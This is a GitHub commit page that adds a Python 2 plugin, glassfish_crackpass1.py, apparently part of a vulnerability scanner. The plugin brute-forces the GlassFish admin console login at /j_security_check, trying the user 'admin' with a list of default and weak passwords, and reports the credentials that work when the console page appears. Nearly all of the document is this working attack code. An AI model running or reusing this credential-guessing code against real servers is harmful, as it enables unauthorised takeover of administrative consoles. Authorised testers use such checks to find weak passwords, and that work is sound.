Skip to content

Commit 7d1d9cb

Browse files
author
wolf
committed
Merge pull request #1 from jhhd88/patch-1
Create glassfish_crackpass1.py
2 parents 24b79a0 + ef8dc0f commit 7d1d9cb

1 file changed

Lines changed: 28 additions & 0 deletions

File tree

‎plugins/glassfish_crackpass1.py‎

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
#coding:utf-8
2+
#author:wolf@future-sec
3+
import urllib2
4+
def check(host,port,timeout):
5+
url = "http://%s:%d"%(host,int(port))
6+
error_i=0
7+
flag_list=['Just refresh the page... login will take over','GlassFish Console - Common Tasks','/resource/common/js/adminjsf.js">','Admin Console</title>','src="/homePage.jsf"','src="/header.jsf"','src="/index.jsf"','<title>Common Tasks</title>','title="Logout from GlassFish']
8+
user_list=['admin']
9+
pass_list=['admin','glassfish','password','adminadmin','123456','12345678','123456789','admin123','admin888','admin1','administrator','8888888','123123','manager','root']
10+
for user in user_list:
11+
for password in pass_list:
12+
try:
13+
PostStr='j_username=%s&j_password=%s&loginButton=Login&loginButton.DisabledHiddenField=true'%(user,password)
14+
request = urllib2.Request(url+'/j_security_check?loginButton=Login',PostStr)
15+
res = urllib2.urlopen(request,timeout=timeout)
16+
res_html = res.read()
17+
except urllib2.HTTPError,e:
18+
return 'NO'
19+
except urllib2.URLError,e:
20+
error_i+=1
21+
if error_i >= 3:
22+
return 'NO'
23+
continue
24+
for flag in flag_list:
25+
if flag in res_html:
26+
info = '%s/index.jsf GlassFish Weak password %s:%s'%(url,user,password)
27+
return 'YES|'+info
28+
return 'NO'

0 commit comments

Comments
 (0)